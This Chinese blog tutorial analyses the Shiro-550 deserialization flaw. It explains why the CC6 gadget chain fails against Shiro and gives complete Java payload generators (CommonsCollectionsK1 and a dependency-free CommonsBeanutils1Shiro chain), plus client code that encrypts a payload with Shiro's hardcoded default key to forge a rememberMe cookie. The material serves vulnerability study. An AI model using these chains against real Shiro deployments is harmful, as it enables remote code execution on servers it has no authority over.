Shiro 反序列化漏洞原理分析

发布于 2024-09-14 23:06:09 字数 20841 浏览 13 评论 0

1 概述

Apache Shiro 在 Java 的权限及安全验证框架中占用重要的一席之地,在它编号为 550 的 issue 中爆出严重的 Java 反序列化漏洞。

Shiro 反序列化漏洞的原理比较简单:为了让浏览器或服务器重启后用户不丢失登录状态,Shiro 支持将持久化信息序列化并加密后保存在 Cookie 的 rememberMe 字段中,下次读取时进行解密再反序列化。但是在 Shiro 1.2.4 版本之前内置了一个默认且固定的加密 Key,导致攻击者可以伪造任意的 rememberMe Cookie,进而触发反序列化漏洞。

前面的文章,介绍了 Commons-Collections 链的各种 Gadget,分为两种利用方式:一种是 InvokerTransformer ,通过 Runtime.exec() 命令执行;另一种是 TemplatesImpl ,通过加载类字节码的形式代码执行。

本文先以一个实际的例子 —— Shiro 反序列化漏洞,来实际使用一下 TemplatesImpl

2 漏洞环境搭建

利用 靶场 搭建漏洞环境,整个项目只有两个代码文件,index.jsp 和 login.jsp,依赖这块也仅有下面几个:

  • shiro-coreshiro-web ,这是 shiro 本身的依赖
  • javax.servlet-apijsp-api ,这是 JSP 和 Servlet 的依赖,仅在编译阶段使用,因为 Tomcat 中自带这两个依赖
  • slf4j-apislf4j-simple ,这是为了显示 shiro 中的报错信息添加的依赖
  • commons-logging,这是 shiro 中用到的一个接口,不添加会爆 java.lang.ClassNotFoundException: org.apache.commons.logging.LogFactory 错误
  • commons-collections,为了演示反序列化漏洞,增加了 commons-collections 依赖

使用 Maven 将项目打包成 war 包,放在 Tomcat 的 webapps 目录下。然后访问 http://localhost:8080/shirodemo/ ,会跳转到登录页面:

然后输入正确的账号密码, root/secret ,可以成功登录。

如果登录时选择了 remember me 的多选框,则登录成功后服务端会返回一个 rememberMe 的 Cookie。

3 使用 CC6 攻击 Shiro

3.1 概述

整个攻击过程如下:

  1. 使用 CommonsCollections 利用链生成一个序列化 Payload
  2. 使用 Shiro 默认 Key 进行加密
  3. 将密文作为 rememberMe 的 Cookie 发送给服务端

3.2 包含数组的反序列化 Gadget

import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.util.ByteSource;
public class Client0 {
    public static void main(String []args) throws Exception {
        byte[] payloads = new CommonsCollections6().getPayload("calc.exe");
        AesCipherService aes = new AesCipherService();
        byte[] key = java.util.Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");
        ByteSource ciphertext = aes.encrypt(payloads, key);
        System.out.printf(ciphertext.toString());
    }
}

加密的过程,使用的 shiro 内置的类 org.apache.shiro.crypto.AesCipherService ,最后生成一段 base64 字符串。

直接将这段字符串作为 rememberMe 的值(不做 url 编码),发送给 shiro。结果 Tomcat 出现了报错:

找到最后一个异常信息 org.apache.shiro.io.ClassResolvingObjectInputStream ,可以看到,这是一个 ObjectInputStream 的子类,其重写了 resolveClass 方法:

resolveClass 是反序列化中用来查找类的方法,在读取序列化流的时候,读到一个字符串形式的类名,需要通过这个方法来找到对应的 java.lang.Class 对象。

对比一下它的父类,也就是正常的 ObjectInputStream 类中的 resolveClass 方法:

protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException
{
    String name = desc.getName();
    try {
        return Class.forName(name, false, latestUserDefinedLoader());
    } catch (ClassNotFoundException ex) {
        Class<?> cl = primClasses.get(name);
        if (cl != null) {
            return cl;
        } else {
            throw ex;
        }
    }
}

会发现,前者用的是 org.apache.shiro.util.ClassUtils#forName ,而后者用的是 Java 原生的 Class.forName

在异常捕捉的位置下个断点,看看是哪个类触发了异常:

可见,出异常时加载的类名为 [Lorg.apache.commons.collections.Transformer; 。其实就是表示 org.apache.commons.collections.Transformer 的数组。

3.2.1 Class.forName 和 ClassLoader.loadClass 的区别

当使用 ClassLoader.loadClass(String name) 时,name 必须是 Java 语言规范定义的二进制名称,并不包括数组类;类加载器负责加载类的对象,数组类的类对象不是由类加载器创建的,而是根据 Java 运行时的要求自动创建的。

以下面代码为例:

package ClassLoaderDemo;

public class ClassLoaderDemo {
    public static void main(String[] args) throws ClassNotFoundException {
        String c1name = "test1".getClass().getName();
        String c2name = new String[]{"test2"}.getClass().getName();

        System.out.println(c1name);
        System.out.println(c2name);

        Class.forName(c1name);
        Class.forName(c2name);


        ClassLoaderDemo.class.getClassLoader().loadClass(c1name);
        ClassLoaderDemo.class.getClassLoader().loadClass(c2name);
    }
}

3.2.2 真实原因

网上大部分分析原因都是说 Class.forName()ClassLoader.loadClass() 的区别导致 shiro 反序列化时不能加载数组,这个原因不完全准确。

其实是 shiro 加载 Class 最终调用的是 Tomcat 下的 webappclassloader ,该类会使用 Class.forName() 加载数组类,但是使用的 classloader 是 URLClassLoader ,只会加载 tomcat/bintomcat/libjre/lib/ext 下面的类数组,无法加载三方依赖 jar 包。

总之, 如果反序列化流中包含非 Java 自身的数组,则会出现无法加载类的错误 。因为 CC6 用到了 Transformer 数组,因此没法正常反序列化。

3.3 不包含数组的反序列化 Gadget

这里利用 wh1t3p1g 的思路。使用 TemplatesImpl.newTransformer 函数来动态 loadClass 构造好的 evil class bytes 。并且在这部分利用链上是不存在数组类型的对象的。

如何触发 TemplatesImpl.newTransformer 的方法?

先来回顾一下 CommonsCollections2 的利用链:

PriorityQueue.readObject
    -> PriorityQueue.heapify()
    -> PriorityQueue.siftDown()
    -> PriorityQueue.siftDownUsingComparator()
        -> TransformingComparator.compare()
            -> InvokerTransformer.transform()
                -> TemplatesImpl.newTransformer()
                ... templates Gadgets ...
                    -> Runtime.getRuntime().exec()

在这条链上,由于 TransformingComparator 在 3.2.1 的版本上还没有实现 Serializable 接口,其在 3.2.1 版本下是无法反序列化的。所以无法直接利用该 payload 来达到命令执行的目的。

InvokerTransformer.transform() 中,根据传入的 input 对象,调用其 iMethodName 方法。如果此时传入的 input 为构造好的 TemplatesImpl 对象呢?这样就可以通过将 iMethodName 置为 newTransformer ,从而完成后续的 templates gadgets。

在 ysoserial 的利用链中,关于 transform 函数接收的 input 存在两种情况:

  • 配合 ChainedTransformer
  • 无意义的 String ,这里的无意义的 String 指的是传入到 ConstantTransformer.transform 函数的 input ,该 transform 函数不依赖 input ,而直接返回 iConstant

CommonsCollection6 开始,用到了 TiedMapEntry ,其作为中继,调用了 LazyMap (map)的 get 函数。

其中 mapkey 都可以控制,而 LazyMap.get 调用了 transform 函数,并将可控的 key 传入 transform 函数:

这样就将构造好的 TemplatesImpl (key)作为 InvokerTransformer.transform 函数的 input 传入,就可以把 templates gadgets 串起来了。

这里整理一下这条链的调用过程:

java.util.HashSet.readObject()
-> java.util.HashMap.put()
-> java.util.HashMap.hash()
    -> org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()
    -> org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()
        -> org.apache.commons.collections.map.LazyMap.get()
        -> org.apache.commons.collections.functors.InvokerTransformer.transform()
            -> java.lang.reflect.Method.invoke()
      ... templates gadgets ...
      -> java.lang.Runtime.exec()

4 实战 - CommonsCollectionsK1

首先还是创建 TemplatesImpl 对象:

TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][] {"...bytescode"});
setFieldValue(obj, "_name", "HelloTemplatesImpl");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());

创建一个用来调用 newTransformer 方法的 InvokerTransformer,但注意的是,此时先传入一个正常的方法,比如 getClass ,避免恶意方法在构造 Gadget 的时候触发:

Transformertransformer = new InvokerTransformer("getClass",null,null);

再把之前的 CommonsCollections6 的代码复制过来,将原来 TiedMapEntry 构造时的第二个参数 key,改为前面创建的 TemplatesImpl 对象:

Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, transformer);
TiedMapEntry tme = new TiedMapEntry(outerMap, obj);
Map expMap = new HashMap();
expMap.put(tme, "valuevalue");
outerMap.clear();

完整代码如下:

package com.govuln.shiroattack;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class CommonsCollectionsShiro {
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }

    public byte[] getPayload(byte[] clazzBytes) throws Exception {
        TemplatesImpl obj = new TemplatesImpl();
        setFieldValue(obj, "_bytecodes", new byte[][]{clazzBytes});
        setFieldValue(obj, "_name", "HelloTemplatesImpl");
        setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());

        Transformer transformer = new InvokerTransformer("getClass", null, null);

        Map innerMap = new HashMap();
        Map outerMap = LazyMap.decorate(innerMap, transformer);

        TiedMapEntry tme = new TiedMapEntry(outerMap, obj);

        Map expMap = new HashMap();
        expMap.put(tme, "valuevalue");

        outerMap.clear();
        setFieldValue(transformer, "iMethodName", "newTransformer");

        // ==================
        // 生成序列化字符串
        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(expMap);
        oos.close();

        return barr.toByteArray();
    }
}

这一个 Gadget 其实也就是 XRay 和 Koalr 师傅的 CommonsCollectionsK1 用来检测 Shiro-550 的方法。

5 CommonsBeanutils1 Gadget 分析

5.1 背景

Apache Commons Beanutils 是 Apache Commons 工具集下的另一个项目,它提供了对普通 Java 类对象(也称为 JavaBean ) 的一些操作方法。

如 Cat 是一个最简单的 JavaBean 类:它包含一个私有属性 name,和读取和设置这个属性的两个方法,又称为 getter 和 setter。其中,getter 的方法名以 get 开头,setter 的方法名以 set 开头,

final public class Cat {
    private String name = "catalina";
    public String getName() {
        return name;
}
    public void setName(String name) {
        this.name = name;
    }
}

commons-beanutils 中提供了一个静态方法 PropertyUtils.getProperty ,让使用者可以直接调用任意 JavaBean 的 getter 方法,比如: PropertyUtils.getProperty(new Cat(), "name");

此时, commons-beanutils 会自动找到 name 属性的 getter 方法,也就是 getName,然后调用,获得返回值。除此之外, PropertyUtils.getProperty 还支持递归获取属性,比如 a 对象中有属性 b,b 对象中有属性 c,我们可以通过 PropertyUtils.getProperty(a, "b.c"); 的方式进行递归获取。通过该方法,使用者可以很方便地调用任意对象的 getter,适用于在不确定 JavaBean 是哪个类对象时使用。

5.2 分析

寻找可以利用的 java.util.Comparator 对象,在 commons-beanutils 包中存在: org.apache.commons.beanutils.BeanComparator ,用来比较两个 JavaBean 是否相等的类,其实现了 java.util.Comparator 接口。我们看它的 compare 方法:

这个方法传入两个对象,如果 this.property 为空,则直接比较这两个对象。如果 this.property 不为空,则用 PropertyUtils.getProperty 分别取这两个对象的 this.property 属性,比较属性的值。 PropertyUtils.getProperty 这个方法会自动去调用一个 JavaBean 的 getter 方法, 这个点是任意代码执行的关键。

在分析 TemplatesImpl 利用链的文章中指出, TemplatesImpl#getOutputProperties() 方法是调用链上的一环,它的内部调用了 TemplatesImpl#newTransformer() ,也就是后面常用来执行恶意字节码的方法:

getOutputProperties 这个名字,是以 get 开头,正符合 getter 的定义。

构造的 POC 如下:

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.beanutils.BeanComparator;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;

public class CB1Demo {
    public static void main(String[] args) throws Exception {
        byte[] code = Files.readAllBytes(Paths.get("/Volumes/MacOS/WorkSpace/JAVA/ClassLoaderVuln/http/HelloTemppaltesImpl.class"));

        TemplatesImpl obj = new TemplatesImpl();

        setFieldValue(obj, "_bytecodes", new byte[][]{code});
        setFieldValue(obj, "_name", "HelloTemplatesImpl");
        setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());

        final BeanComparator comparator = new BeanComparator();
        final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
        queue.add(1);
        queue.add(1);

        setFieldValue(comparator, "property", "outputProperties");
        setFieldValue(queue, "queue", new Object[]{obj, obj});

        // 序列化
        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(queue);
        oos.close();

        // 反序列化
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        ois.readObject();
    }

    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }
}

首先创建 TemplateImpl 。然后实例化 BeanComparatorBeanComparator 构造函数为空时,默认的 property 就是空。再用刚刚的 comparator 实例化优先队列 PriorityQueue

可以看到,代码中添加了两个无害的可以比较的对象进队列中。前文说过, BeanComparator#compare() 中, 如果 this.property 为空,则直接比较这两个对象。这里实际上就是对两个 1 进行排序。

最后,再用反射将 property 的值设置成恶意的 outputProperties ,将队列里的两个 1 替换成恶意的 TemplateImpl 对象。

6 CB1 在 Shiro 反序列化中的利用

在前面的漏洞环境中,我们是手动添加了 Commons Collections 依赖。在实际场景中,目标系统不一定会安装 Commons Collections 库。而 commons-beanutils 默认添加。

尝试使用上文的 CB1 直接构造 payload,并发送,发现是失败的,提示 serialVersionUID 不一致。

6.1 serialVersionUID

如果两个不同版本的库使用了同一个类,而这两个类可能有一些方法和属性有了变化,此时在序列化通信的时候就可能因为不兼容导致出现隐患。因此,Java 在反序列化的时候提供了一个机制,序列化时会根据固定算法计算出一个当前类的 serialVersionUID 值,写入数据流中

反序列化时,如果发现对方的环境中这个类计算出的 serialVersionUID 不同,则反序列化过程就丢异常并退出执行,避免后续的未知隐患。

所以,出现错误的原因就是,本地使用的 commons-beanutils 是 1.9.2 版本,而 Shiro 中自带的 commons-beanutils 是 1.8.3 版本,出现了 serialVersionUID 对应不上的问题。

更换版本后,再次生成 Payload 进行测试,此时 Tomcat 端爆出了另一个异常,仍然没有触发代码执行:

Unable to load class named [org.apache.commons.collections.comparators.ComparableComparator]

简单来说就是没找到 org.apache.commons.collections.comparators.ComparableComparator 类,从包名即可看出,这个类是来自于 commons-collections

commons-beanutils 本来依赖于 commons-collections ,但是在 Shiro 中,它的 commons-beanutils 虽然包含了一部分 commons-collections 的类,但却不全。这也导致,正常使用 Shiro 的时候不需要依赖于 commons-collections,但反序列化利用的时候需要依赖于 commons-collections。

6.2 无依赖的 Shiro 反序列化 Gadget

首先确认 org.apache.commons.collections.comparators.ComparableComparator 这个类的使用情况:

BeanComparator 类的构造函数处,当没有显式传入 Comparator 的情况下,则默认使用 ComparableComparator

既然此时没有 ComparableComparator ,需要找到一个类来替换,它满足下面这几个条件:

  • 实现 java.util.Comparator 接口
  • 实现 java.io.Serializable 接口 Java、shiro 或 commons-beanutils 自带,且兼容性强

通过 IDEA 的 Implementation 寻找实现了 Comparator 的类:

代码如下:

CaseInsensitiveComparator 类是 java.lang.String 类下的一个内部私有类,其实现了 ComparatorSerializable ,且位于 Java 的核心代码中,兼容性强。

通过 String.CASE_INSENSITIVE_ORDER 即可拿到上下文中的 CaseInsensitiveComparator 对象,用它来实例化 BeanComparator :

final BeanComparator comparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);

构造出新的 CommonsBeanutils1Shiro 利用链:

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.beanutils.BeanComparator;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.PriorityQueue;
public class CommonsBeanutils1Shiro {
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value); 
    }

    public byte[] getPayload(byte[] clazzBytes) throws Exception {
        TemplatesImpl obj = new TemplatesImpl();
        setFieldValue(obj, "_bytecodes", new byte[][]{clazzBytes});
        setFieldValue(obj, "_name", "HelloTemplatesImpl");
        setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
        final BeanComparator comparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);
        final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
        // stub data for replacement later
        queue.add("1");
        queue.add("1");
        setFieldValue(comparator, "property", "outputProperties");
        setFieldValue(queue, "queue", new Object[]{obj, obj});
        // ==================
        // 生成序列化字符串
        ByteArrayOutputStream barr = new ByteArrayOutputStream(); 
        ObjectOutputStream oos = new ObjectOutputStream(barr); 
        oos.writeObject(queue);
        oos.close();
        return barr.toByteArray();
    }
}

参考

phith0n Java 漫谈系列

Shiro RememberMe 1.2.4 反序列化导致的命令执行漏洞

如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。

扫码二维码加入Web技术交流群

发布评论

需要 登录 才能够评论, 你可以免费 注册 一个本站的账号。
列表为空,暂无数据

关于作者

月野兔

暂无简介

0 文章
0 评论
23 人气
更多

推荐作者

雨幕

文章 0 评论 0

alipaysp_XIzGSod4b1

文章 0 评论 0

许强

文章 0 评论 0

别理我

文章 0 评论 0

败给现实

文章 0 评论 0

淡淡の花香

文章 0 评论 0

    我们使用 Cookies 和其他技术来定制您的体验包括您的登录状态等。通过阅读我们的 隐私政策 了解更多相关信息。 单击 接受 或继续使用网站,即表示您同意使用 Cookies 和您的相关数据。
    原文